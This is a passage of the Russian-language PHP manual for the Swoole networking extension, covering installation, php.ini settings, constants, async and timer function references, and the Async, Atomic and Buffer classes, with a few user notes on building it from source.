    • Swoole\WebSocket\Server::push — Отправить данные удалённому клиенту
    • Swoole\WebSocket\Server::unpack — Распаковать двоичные данные, полученные от клиента

User Contributed Notes

There are no user contributed notes for this page.


Введение

Swoole — это высокопроизводительный сетевой фреймворк, использующий управляемую событиями асинхронную неблокирующую модель ввода-вывода. Он может использоваться для разработки высокопроизводительных, масштабируемых, параллельных TCP, UDP, сокетов Unix, HTTP, Websocket сервисов. Для начала, пожалуйста, посмотрите » Документацию Swoole.

Замечание: Для Windows-платформ этот модуль недоступен.

User Contributed Notes

Mikhail Streltsov (admin at my-fantasy dot ru) 07-Jul-2023 06:39
Documentation is very old on date of this comment.

To better use - look at offical site of Swoole or Git resource of project


Установка

Используйте --with-swoole[=DIR] при компиляции PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/swoole

User Contributed Notes

lc at leocavalcante dot com 20-Sep-2020 02:55
You can build a Docker image as well. Good alternative for Windows, despite WSL.

```Dockerfile
FROM php:7.4.2-cli

RUN apt-get update && apt-get install vim -y && \
    apt-get install openssl -y && \
    apt-get install libssl-dev -y && \
    apt-get install wget -y && \
    apt-get install git -y && \
    apt-get install procps -y && \
    apt-get install htop -y

RUN cd /tmp && git clone https://github.com/swoole/swoole-src.git && \
    cd swoole-src && \
    git checkout v4.5.2 && \
    phpize  && \
    ./configure  --enable-openssl && \
    make && make install

RUN touch /usr/local/etc/php/conf.d/swoole.ini && \
    echo 'extension=swoole.so' > /usr/local/etc/php/conf.d/swoole.ini

RUN wget -O /usr/local/bin/dumb-init https://github.com/Yelp/dumb-init/releases/download/v1.2.2/dumb-init_1.2.2_amd64
RUN chmod +x /usr/local/bin/dumb-init

RUN apt-get autoremove -y && rm -rf /var/lib/apt/lists/*

ENTRYPOINT ["/usr/local/bin/dumb-init", "--", "php"]
```
php dot anonymous1 at gmail dot com 04-Dec-2018 01:26
to install swoole with mac os x
open your terminal
and use this commands
git clone https://github.com/swoole/swoole-src.git
cd swoole-src
phpize
./configure
make && make install

also find your swoole.so from folder swoole-src and move it
in to your apache and add full path in php.ini
like extension=your/full/path/swoole.so


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки Swoole
Имя | По умолчанию | Место изменения | Список изменений
swoole.aio_thread_num | 2 | PHP_INI_ALL |
swoole.display_errors | On | PHP_INI_ALL |
swoole.fast_serialize | Off | PHP_INI_ALL |
swoole.unixsock_buffer_size | 8388608 | PHP_INI_ALL |
swoole.use_namespace | On | PHP_INI_SYSTEM |
swoole.enable_coroutine | On | PHP_INI_ALL | Доступно, начиная с swoole 4.0.0
swoole.use_shortname | On | PHP_INI_ALL | Доступно, начиная с swoole 4.0.0
swoole.enable_preemptive_scheduler | Off | PHP_INI_ALL | Доступно, начиная с swoole 4.4.0
swoole.enable_library | On | PHP_INI_ALL | Доступно, начиная с swoole 4.0.0

Краткое разъяснение конфигурационных директив.

swoole.aio_thread_num int

Номер потока асинхронного ввода/вывода POSIX

swoole.display_errors string

Определяет, должны ли ошибки Swoole выводиться на экран.

swoole.fast_serialize string

Определяет, включать ли Swoole fast_serialize.

swoole.unixsock_buffer_size int

Размер буфера сокета Unix.

swoole.use_namespace string

Определяет, использовать ли пространства имён PHP.

swoole.enable_coroutine string

Определяет, включать ли сопрограмму

swoole.use_shortname string

Определяет, включать ли короткие псевдонимы

swoole.enable_preemptive_scheduler string

Определяет, включать ли вытесняющий планировщик

swoole.enable_library string

Определяет, включать ли библиотеку

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

SWOOLE_BASE (int)
SWOOLE_THREAD (int)
SWOOLE_PROCESS (int)
SWOOLE_IPC_UNSOCK (int)
SWOOLE_IPC_MSGQUEUE (int)
SWOOLE_IPC_PREEMPTIVE (int)
SWOOLE_SOCK_TCP (int)
SWOOLE_SOCK_TCP6 (int)
SWOOLE_SOCK_UDP (int)
SWOOLE_SOCK_UDP6 (int)
SWOOLE_SOCK_UNIX_DGRAM (int)
SWOOLE_SOCK_UNIX_STREAM (int)
SWOOLE_TCP (int)
SWOOLE_TCP6 (int)
SWOOLE_UDP (int)
SWOOLE_UDP6 (int)
SWOOLE_UNIX_DGRAM (int)
SWOOLE_UNIX_STREAM (int)
SWOOLE_SOCK_SYNC (int)
SWOOLE_SOCK_ASYNC (int)
SWOOLE_SYNC (int)
SWOOLE_ASYNC (int)
SWOOLE_KEEP (int)
SWOOLE_EVENT_READ (int)
SWOOLE_EVENT_WRITE (int)
SWOOLE_VERSION (string)
SWOOLE_AIO_BASE (int)
SWOOLE_AIO_LINUX (int)
SWOOLE_FILELOCK (int)
SWOOLE_MUTEX (int)
SWOOLE_SEM (int)
SWOOLE_RWLOCK (int)
WEBSOCKET_OPCODE_TEXT (int)
WEBSOCKET_OPCODE_BINARY (int)
WEBSOCKET_OPCODE_PING (int)
WEBSOCKET_STATUS_CONNECTION (int)
WEBSOCKET_STATUS_HANDSHAKE (int)
WEBSOCKET_STATUS_FRAME (int)
WEBSOCKET_STATUS_ACTIVE (int)
SWOOLE_FAST_PACK (int)
SWOOLE_LOG_DEBUG (int)
Журнал отладки. Доступно с версии swoole 2.1.2.
SWOOLE_LOG_TRACE (int)
Журнал трассировки. Доступно с версии swoole 2.1.2.
SWOOLE_LOG_INFO (int)
Журнал информационных сообщений. Доступно с версии swoole 2.1.2.
SWOOLE_LOG_NOTICE (int)
Журнал уведомлений. Доступно с версии swoole 2.1.2.
SWOOLE_LOG_WARNING (int)
Журнал предупреждений. Доступно с версии swoole 2.1.2.
SWOOLE_LOG_ERROR (int)
Журнал ошибок. Доступно с версии swoole 2.1.2.
SWOOLE_LOG_NONE (int)
Нет журнала. Доступно с версии swoole 2.1.2.

User Contributed Notes

There are no user contributed notes for this page.


Функции Swoole

Содержание

  • swoole_async_dns_lookup — Асинхронный и неблокирующий поиск имени хоста или IP-адреса
  • swoole_async_read — Асинхронное чтение потока файла
  • swoole_async_readfile — Асинхронное чтение файла
  • swoole_async_set — Обновление опций асинхронного ввода-вывода
  • swoole_async_write — Асинхронная запись данных в поток файла
  • swoole_async_writefile — Асинхронная запись данных в файл
  • swoole_clear_error — Сбрасывает ошибки в сокете или по последнему коду ошибки
  • swoole_client_select — Получить описание файла, готового к чтению/записи или ошибке
  • swoole_cpu_num — Получить количество CPU
  • swoole_errno — Получить код ошибки последнего системного вызова
  • swoole_error_log — Выводит сообщения об ошибках в журнал
  • swoole_event_add — Добавить новых callback-функций сокета в цикл событий
  • swoole_event_defer — Добавить callback-функцию в следующий цикл событий
  • swoole_event_del — Удалить все callback-функции сокета
  • swoole_event_exit — Закрыть цикл событий, доступный только на стороне клиента
  • swoole_event_set — Обновить callback-функции события сокета
  • swoole_event_wait — Запустить цикл событий
  • swoole_event_write — Записать данные в сокет
  • swoole_get_local_ip — Получить IP-адреса в формате IPv4 каждой сетевой платы (NIC) компьютера
  • swoole_last_error — Получить последнее сообщение об ошибке
  • swoole_load_module — Загрузить модуль swoole
  • swoole_select — Выбрать описания файлов, которые готовы к чтению/записи или ошибке в цикл событий
  • swoole_set_process_name — Установить имя процесса
  • swoole_strerror — Сконвертировать Errno в сообщения об ошибках
  • swoole_timer_after — Запуск callback-функции один раз в будущем
  • swoole_timer_exists — Проверить, существует ли callback-функция таймера
  • swoole_timer_tick — Вызвать callback-функцию таймера тактов через определённый промежуток времени
  • swoole_version — Получить версию Swoole

User Contributed Notes

There are no user contributed notes for this page.


Асинхронный и неблокирующий поиск имени хоста или IP-адреса

  • « Функции Swoole
  • swoole_async_read »
  • PHP Manual
  • Функции Swoole
  • Асинхронный и неблокирующий поиск имени хоста или IP-адреса

swoole_async_dns_lookup

(PECL swoole >= 1.9.0)

swoole_async_dns_lookup — Асинхронный и неблокирующий поиск имени хоста или IP-адреса

Описание

swoole_async_dns_lookup(string $hostname, callable $callback): bool

Список параметров

hostname

Имя хоста.

callback
callback(string $hostname, string $ip): mixed
hostname

Имя хоста

IP

IP-адрес.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Асинхронное чтение потока файла

  • « swoole_async_dns_lookup
  • swoole_async_readfile »
  • PHP Manual
  • Функции Swoole
  • Асинхронное чтение потока файла

swoole_async_read

(PECL swoole >= 1.9.0)

swoole_async_read — Асинхронное чтение потока файла

Описание

swoole_async_read(
string $filename,
callable $callback,
int $chunk_size = 65536,
int $offset = 0
): bool

Список параметров

filename

Имя файла для чтения.

callback
callback(string $filename, string $content): mixed
filename

Название файла.

content

Содержимое, считанное из файлового потока.

chunk_size

Длина блока.

offset

Смещение.

Возвращаемые значения

Было ли чтение выполнено успешно или возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Асинхронное чтение файла

  • « swoole_async_read
  • swoole_async_set »
  • PHP Manual
  • Функции Swoole
  • Асинхронное чтение файла

swoole_async_readfile

(PECL swoole >= 1.9.0)

swoole_async_readfile — Асинхронное чтение файла

Описание

swoole_async_readfile(string $filename, callable $callback): bool

Список параметров

filename

Имя файла для чтения.

callback
callback(string $filename, string $content): mixed
filename

Имя файла.

content

Содержимое, считанное из файла.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Обновление опций асинхронного ввода-вывода

  • « swoole_async_readfile
  • swoole_async_write »
  • PHP Manual
  • Функции Swoole
  • Обновление опций асинхронного ввода-вывода

swoole_async_set

(PECL swoole >= 1.9.0)

swoole_async_set — Обновление опций асинхронного ввода-вывода

Описание

swoole_async_set(array $settings): void

Список параметров

settings

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Асинхронная запись данных в поток файла

  • « swoole_async_set
  • swoole_async_writefile »
  • PHP Manual
  • Функции Swoole
  • Асинхронная запись данных в поток файла

swoole_async_write

(PECL swoole >= 1.9.0)

swoole_async_write — Асинхронная запись данных в поток файла

Описание

swoole_async_write(
string $filename,
string $content,
int $offset = ?,
callable $callback = ?
): bool

Список параметров

filename

Имя файла, в который будет произведена запись

content

Содержимое, записываемое в файл.

offset

Смещение.

callback

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Асинхронная запись данных в файл

  • « swoole_async_write
  • swoole_clear_error »
  • PHP Manual
  • Функции Swoole
  • Асинхронная запись данных в файл

swoole_async_writefile

(PECL swoole >= 1.9.0)

swoole_async_writefile — Асинхронная запись данных в файл

Описание

swoole_async_writefile(
string $filename,
string $content,
callable $callback = ?,
int $flags = 0
): bool

Список параметров

filename

Имя файла, в который будет произведена запись.

content

Содержимое, записываемое в файл.

callback

flags

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает ошибки в сокете или по последнему коду ошибки

  • « swoole_async_writefile
  • swoole_client_select »
  • PHP Manual
  • Функции Swoole
  • Сбрасывает ошибки в сокете или по последнему коду ошибки

swoole_clear_error

(PECL swoole >= 4.6.0)

swoole_clear_error — Сбрасывает ошибки в сокете или по последнему коду ошибки

Описание

swoole_clear_error(): void

Сбрасывает ошибки в сокете или по последнему коду ошибки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Получить описание файла, готового к чтению/записи или ошибке

  • « swoole_clear_error
  • swoole_cpu_num »
  • PHP Manual
  • Функции Swoole
  • Получить описание файла, готового к чтению/записи или ошибке

swoole_client_select

(PECL swoole >= 1.9.0)

swoole_client_select — Получить описание файла, готового к чтению/записи или ошибке

Описание

swoole_client_select(
array &$read_array,
array &$write_array,
array &$error_array,
float $timeout = 0.5
): int

Список параметров

read_array

write_array

error_array

timeout

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить количество CPU

  • « swoole_client_select
  • swoole_errno »
  • PHP Manual
  • Функции Swoole
  • Получить количество CPU

swoole_cpu_num

(PECL swoole >= 1.9.0)

swoole_cpu_num — Получить количество CPU

Описание

swoole_cpu_num(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Количество CPU.

User Contributed Notes

There are no user contributed notes for this page.


Получить код ошибки последнего системного вызова

  • « swoole_cpu_num
  • swoole_error_log »
  • PHP Manual
  • Функции Swoole
  • Получить код ошибки последнего системного вызова

swoole_errno

(PECL swoole >= 1.9.0)

swoole_errno — Получить код ошибки последнего системного вызова

Описание

swoole_errno(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Выводит сообщения об ошибках в журнал

  • « swoole_errno
  • swoole_event_add »
  • PHP Manual
  • Функции Swoole
  • Выводит сообщения об ошибках в журнал

swoole_error_log

(PECL swoole >= 4.5.8)

swoole_error_log — Выводит сообщения об ошибках в журнал

Описание

swoole_error_log(int $level, string $msg): void

Выводит сообщения об ошибках в журнал.

Список параметров

level

Уровень записи в журнал, можно использовать константы: SWOOLE_LOG_DEBUG, SWOOLE_LOG_TRACE, SWOOLE_LOG_INFO, SWOOLE_LOG_NOTICE, SWOOLE_LOG_WARNING, SWOOLE_LOG_ERROR, SWOOLE_LOG_NONE

msg

Сообщение, записываемое в журнал.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Добавить новых callback-функций сокета в цикл событий

  • « swoole_error_log
  • swoole_event_defer »
  • PHP Manual
  • Функции Swoole
  • Добавить новых callback-функций сокета в цикл событий

swoole_event_add

(PECL swoole >= 1.9.0)

swoole_event_add — Добавить новых callback-функций сокета в цикл событий

Описание

swoole_event_add(
int $fd,
callable $read_callback = ?,
callable $write_callback = ?,
int $events = 0
): int

Список параметров

fd

read_callback

write_callback

events

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Добавить callback-функцию в следующий цикл событий

  • « swoole_event_add
  • swoole_event_del »
  • PHP Manual
  • Функции Swoole
  • Добавить callback-функцию в следующий цикл событий

swoole_event_defer

(PECL swoole >= 1.9.0)

swoole_event_defer — Добавить callback-функцию в следующий цикл событий

Описание

swoole_event_defer(callable $callback): bool

Список параметров

callback

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Удалить все callback-функции сокета

  • « swoole_event_defer
  • swoole_event_exit »
  • PHP Manual
  • Функции Swoole
  • Удалить все callback-функции сокета

swoole_event_del

(PECL swoole >= 1.9.0)

swoole_event_del — Удалить все callback-функции сокета

Описание

swoole_event_del(int $fd): bool

Список параметров

fd

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Закрыть цикл событий, доступный только на стороне клиента

  • « swoole_event_del
  • swoole_event_set »
  • PHP Manual
  • Функции Swoole
  • Закрыть цикл событий, доступный только на стороне клиента

swoole_event_exit

(PECL swoole >= 1.9.0)

swoole_event_exit — Закрыть цикл событий, доступный только на стороне клиента

Описание

swoole_event_exit(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Обновить callback-функции события сокета

  • « swoole_event_exit
  • swoole_event_wait »
  • PHP Manual
  • Функции Swoole
  • Обновить callback-функции события сокета

swoole_event_set

(PECL swoole >= 1.9.0)

swoole_event_set — Обновить callback-функции события сокета

Описание

swoole_event_set(
int $fd,
callable $read_callback = ?,
callable $write_callback = ?,
int $events = 0
): bool

Список параметров

fd

read_callback

write_callback

events

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Запустить цикл событий

  • « swoole_event_set
  • swoole_event_write »
  • PHP Manual
  • Функции Swoole
  • Запустить цикл событий

swoole_event_wait

(PECL swoole >= 1.9.0)

swoole_event_wait — Запустить цикл событий

Описание

swoole_event_wait(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Записать данные в сокет

  • « swoole_event_wait
  • swoole_get_local_ip »
  • PHP Manual
  • Функции Swoole
  • Записать данные в сокет

swoole_event_write

(PECL swoole >= 1.9.0)

swoole_event_write — Записать данные в сокет

Описание

swoole_event_write(int $fd, string $data): bool

Список параметров

fd

data

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получить IP-адреса в формате IPv4 каждой сетевой платы (NIC) компьютера

  • « swoole_event_write
  • swoole_last_error »
  • PHP Manual
  • Функции Swoole
  • Получить IP-адреса в формате IPv4 каждой сетевой платы (NIC) компьютера

swoole_get_local_ip

(PECL swoole >= 1.9.0)

swoole_get_local_ip — Получить IP-адреса в формате IPv4 каждой сетевой платы (NIC) компьютера

Описание

swoole_get_local_ip(): array

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить последнее сообщение об ошибке

  • « swoole_get_local_ip
  • swoole_load_module »
  • PHP Manual
  • Функции Swoole
  • Получить последнее сообщение об ошибке

swoole_last_error

(PECL swoole >= 1.9.0)

swoole_last_error — Получить последнее сообщение об ошибке

Описание

swoole_last_error(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Загрузить модуль swoole

  • « swoole_last_error
  • swoole_select »
  • PHP Manual
  • Функции Swoole
  • Загрузить модуль swoole

swoole_load_module

(PECL swoole >= 1.9.0)

swoole_load_module — Загрузить модуль swoole

Описание

swoole_load_module(string $filename): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Выбрать описания файлов, которые готовы к чтению/записи или ошибке в цикл событий

  • « swoole_load_module
  • swoole_set_process_name »
  • PHP Manual
  • Функции Swoole
  • Выбрать описания файлов, которые готовы к чтению/записи или ошибке в цикл событий

swoole_select

(PECL swoole >= 1.9.0)

swoole_select — Выбрать описания файлов, которые готовы к чтению/записи или ошибке в цикл событий

Описание

swoole_select(
array &$read_array,
array &$write_array,
array &$error_array,
float $timeout = ?
): int

Список параметров

read_array

write_array

error_array

timeout

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Установить имя процесса

  • « swoole_select
  • swoole_strerror »
  • PHP Manual
  • Функции Swoole
  • Установить имя процесса

swoole_set_process_name

(PECL swoole >= 1.9.0)

swoole_set_process_name — Установить имя процесса

Описание

swoole_set_process_name(string $process_name, int $size = 128): void

Список параметров

process_name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Сконвертировать Errno в сообщения об ошибках

  • « swoole_set_process_name
  • swoole_timer_after »
  • PHP Manual
  • Функции Swoole
  • Сконвертировать Errno в сообщения об ошибках

swoole_strerror

(PECL swoole >= 1.9.0)

swoole_strerror — Сконвертировать Errno в сообщения об ошибках

Описание

swoole_strerror(int $errno, int $error_type = 0): string

Список параметров

errno

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Запуск callback-функции один раз в будущем

  • « swoole_strerror
  • swoole_timer_exists »
  • PHP Manual
  • Функции Swoole
  • Запуск callback-функции один раз в будущем

swoole_timer_after

(PECL swoole >= 1.9.0)

swoole_timer_after — Запуск callback-функции один раз в будущем

Описание

swoole_timer_after(int $ms, callable $callback, mixed $param = ?): int

Список параметров

ms

callback

param

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Проверить, существует ли callback-функция таймера

  • « swoole_timer_after
  • swoole_timer_tick »
  • PHP Manual
  • Функции Swoole
  • Проверить, существует ли callback-функция таймера

swoole_timer_exists

(PECL swoole >= 1.9.0)

swoole_timer_exists — Проверить, существует ли callback-функция таймера

Описание

swoole_timer_exists(int $timer_id): bool

Список параметров

timer_id

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Вызвать callback-функцию таймера тактов через определённый промежуток времени

  • « swoole_timer_exists
  • swoole_version »
  • PHP Manual
  • Функции Swoole
  • Вызвать callback-функцию таймера тактов через определённый промежуток времени

swoole_timer_tick

(PECL swoole >= 1.9.0)

swoole_timer_tick — Вызвать callback-функцию таймера тактов через определённый промежуток времени

Описание

swoole_timer_tick(int $ms, callable $callback, mixed $param = ?): int

Список параметров

ms

callback

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить версию Swoole

  • « swoole_timer_tick
  • Swoole\Async »
  • PHP Manual
  • Функции Swoole
  • Получить версию Swoole

swoole_version

(PECL swoole >= 1.9.0)

swoole_version — Получить версию Swoole

Описание

swoole_version(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Версия Swoole.

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\Async

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\Async {
/* Методы */
public static dnsLookup(string $hostname, callable $callback): void
public static read(
string $filename,
callable $callback,
int $chunk_size = ?,
int $offset = ?
): bool
public static readFile(string $filename, callable $callback): void
public static set(array $settings): void
public static write(
string $filename,
string $content,
int $offset = ?,
callable $callback = ?
): void
public static writeFile(
string $filename,
string $content,
callable $callback = ?,
string $flags = ?
): void
}

Содержание

  • Swoole\Async::dnsLookup — Асинхронный и неблокирующий поиск IP по имени хоста
  • Swoole\Async::read — Асинхронное чтение файлового потока
  • Swoole\Async::readFile — Асинхронное чтение файла
  • Swoole\Async::set — Обновляет параметры асинхронного ввода-вывода
  • Swoole\Async::write — Асинхронно записывает данные в файловый поток
  • Swoole\Async::writeFile — Описание

User Contributed Notes

There are no user contributed notes for this page.


Асинхронный и неблокирующий поиск IP по имени хоста

  • « Swoole\Async
  • Swoole\Async::read »
  • PHP Manual
  • Swoole\Async
  • Асинхронный и неблокирующий поиск IP по имени хоста

Swoole\Async::dnsLookup

(PECL swoole >= 1.9.0)

Swoole\Async::dnsLookup — Асинхронный и неблокирующий поиск IP по имени хоста

Описание

public static Swoole\Async::dnsLookup(string $hostname, callable $callback): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

hostname

Имя хоста.

callback
callback(string $hostname, string $ip): mixed
hostname

Имя хоста.

IP

IP-адрес.

User Contributed Notes

There are no user contributed notes for this page.


Асинхронное чтение файлового потока

  • « Swoole\Async::dnsLookup
  • Swoole\Async::readFile »
  • PHP Manual
  • Swoole\Async
  • Асинхронное чтение файлового потока

Swoole\Async::read

(PECL swoole >= 1.9.0)

Swoole\Async::read — Асинхронное чтение файлового потока

Описание

public static Swoole\Async::read(
string $filename,
callable $callback,
int $chunk_size = ?,
int $offset = ?
): bool

Список параметров

filename

Название файла.

callback
callback(string $filename, string $content): mixed
filename

Название файла.

content

Содержимое, прочитанное из файлового потока.

chunk_size

Длина части.

offset

Смещение.

Возвращаемые значения

Успешно ли прочитано.

User Contributed Notes

There are no user contributed notes for this page.


Асинхронное чтение файла

  • « Swoole\Async::read
  • Swoole\Async::set »
  • PHP Manual
  • Swoole\Async
  • Асинхронное чтение файла

Swoole\Async::readFile

(PECL swoole >= 1.9.0)

Swoole\Async::readFile — Асинхронное чтение файла

Описание

public static Swoole\Async::readFile(string $filename, callable $callback): void

Список параметров

filename

Имя читаемого файла.

callback
callback(string $filename, string $content): mixed
filename

Имя читаемого файла.

content

Содержание, прочитанное из файла.

User Contributed Notes

There are no user contributed notes for this page.


Обновляет параметры асинхронного ввода-вывода

  • « Swoole\Async::readFile
  • Swoole\Async::write »
  • PHP Manual
  • Swoole\Async
  • Обновляет параметры асинхронного ввода-вывода

Swoole\Async::set

(PECL swoole >= 1.9.0)

Swoole\Async::set — Обновляет параметры асинхронного ввода-вывода

Описание

public static Swoole\Async::set(array $settings): void

Список параметров

settings

User Contributed Notes

There are no user contributed notes for this page.


Асинхронно записывает данные в файловый поток

  • « Swoole\Async::set
  • Swoole\Async::writeFile »
  • PHP Manual
  • Swoole\Async
  • Асинхронно записывает данные в файловый поток

Swoole\Async::write

(PECL swoole >= 1.9.0)

Swoole\Async::write — Асинхронно записывает данные в файловый поток

Описание

public static Swoole\Async::write(
string $filename,
string $content,
int $offset = ?,
callable $callback = ?
): void

Список параметров

filename

Имя файла для записи.

content

Содержание для записи в файл.

offset

Смещение.

callback

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Async::write
  • Swoole\Atomic »
  • PHP Manual
  • Swoole\Async
  • Описание

Swoole\Async::writeFile

(PECL swoole >= 1.9.0)

Swoole\Async::writeFile — Описание

Описание

public static Swoole\Async::writeFile(
string $filename,
string $content,
callable $callback = ?,
string $flags = ?
): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

filename

Имя файла для записи.

content

Содержание для записи в файл.

callback

flags

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\Atomic

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\Atomic {
/* Методы */
public add(int $add_value = ?): int
public cmpset(int $cmp_value, int $new_value): int
public get(): int
public set(int $value): int
public sub(int $sub_value = ?): int
}

Содержание

  • Swoole\Atomic::add — Добавляет число к значению атомарного объекта
  • Swoole\Atomic::cmpset — Сравнивает и устанавливает значение атомарного объекта
  • Swoole\Atomic::__construct — Создаёт атомарный объект swoole
  • Swoole\Atomic::get — Получает текущее значение атомарного объекта
  • Swoole\Atomic::set — Устанавливает новое значение для атомарного объекта
  • Swoole\Atomic::sub — Вычитает число из значения атомарного объекта

User Contributed Notes

There are no user contributed notes for this page.


Добавляет число к значению атомарного объекта

  • « Swoole\Atomic
  • Swoole\Atomic::cmpset »
  • PHP Manual
  • Swoole\Atomic
  • Добавляет число к значению атомарного объекта

Swoole\Atomic::add

(PECL swoole >= 1.9.0)

Swoole\Atomic::add — Добавляет число к значению атомарного объекта

Описание

public Swoole\Atomic::add(int $add_value = ?): int

Добавляет число к значению атомарного объекта.

Список параметров

add_value

Значение, которое будет добавлено к текущему значению.

Возвращаемые значения

Новое значение атомарного объекта.

User Contributed Notes

There are no user contributed notes for this page.


Сравнивает и устанавливает значение атомарного объекта

  • « Swoole\Atomic::add
  • Swoole\Atomic::__construct »
  • PHP Manual
  • Swoole\Atomic
  • Сравнивает и устанавливает значение атомарного объекта

Swoole\Atomic::cmpset

(PECL swoole >= 1.9.0)

Swoole\Atomic::cmpset — Сравнивает и устанавливает значение атомарного объекта

Описание

public Swoole\Atomic::cmpset(int $cmp_value, int $new_value): int

Список параметров

cmp_value

Значение для сравнения с текущим значением атомарного объекта.

new_value

Значение, устанавливаемое для атомарного объекта, если значение cmp_value совпадает с текущим значением атомарного объекта.

Возвращаемые значения

Новое значение атомарного объекта.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт атомарный объект swoole

  • « Swoole\Atomic::cmpset
  • Swoole\Atomic::get »
  • PHP Manual
  • Swoole\Atomic
  • Создаёт атомарный объект swoole

Swoole\Atomic::__construct

(PECL swoole >= 1.9.0)

Swoole\Atomic::__construct — Создаёт атомарный объект swoole

Описание

public Swoole\Atomic::__construct(int $value = ?)

Атомарный объект Swoole - это целочисленная переменная, которая позволяет любому процессору атомарно тестировать и модифицировать. Он реализован на основе атомарных инструкций процессора. Атомарные переменные Swoole должны быть определены до swoole_server->start.

Сравнение и замена (CAS) - это атомарная инструкция, используемая в многопоточности для достижения синхронизации. Она сравнивает содержимое области памяти с заданным значением и, только если они совпадают, изменяет содержимое этой области памяти на новое заданное значение.

Список параметров

value

Значение атомарного объекта.

User Contributed Notes

There are no user contributed notes for this page.


Получает текущее значение атомарного объекта

  • « Swoole\Atomic::__construct
  • Swoole\Atomic::set »
  • PHP Manual
  • Swoole\Atomic
  • Получает текущее значение атомарного объекта

Swoole\Atomic::get

(PECL swoole >= 1.9.0)

Swoole\Atomic::get — Получает текущее значение атомарного объекта

Описание

public Swoole\Atomic::get(): int

Получает текущее значение атомарного объекта.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущее значение атомарного объекта.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает новое значение для атомарного объекта

  • « Swoole\Atomic::get
  • Swoole\Atomic::sub »
  • PHP Manual
  • Swoole\Atomic
  • Устанавливает новое значение для атомарного объекта

Swoole\Atomic::set

(PECL swoole >= 1.9.0)

Swoole\Atomic::set — Устанавливает новое значение для атомарного объекта

Описание

public Swoole\Atomic::set(int $value): int

Устанавливает новое значение для атомарного объекта.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

value

Значение, устанавливаемое для атомарного объекта.

Возвращаемые значения

Текущее значение атомарного объекта.

User Contributed Notes

There are no user contributed notes for this page.


Вычитает число из значения атомарного объекта

  • « Swoole\Atomic::set
  • Swoole\Buffer »
  • PHP Manual
  • Swoole\Atomic
  • Вычитает число из значения атомарного объекта

Swoole\Atomic::sub

(PECL swoole >= 1.9.0)

Swoole\Atomic::sub — Вычитает число из значения атомарного объекта

Описание

public Swoole\Atomic::sub(int $sub_value = ?): int

Вычитает число из значения атомарного объекта.

Список параметров

sub_value

Значение, которое будет вычтено из текущего значения.

Возвращаемые значения

Текущее значение атомарного объекта.

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\Buffer

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\Buffer {
/* Методы */
public append(string $data): int
public clear(): void
public __destruct(): void
public expand(int $size): int
public read(int $offset, int $length): string
public recycle(): void
public substr(int $offset, int $length = ?, bool $remove = ?): string
public __toString(): string
public write(int $offset, string $data): void
}

Содержание

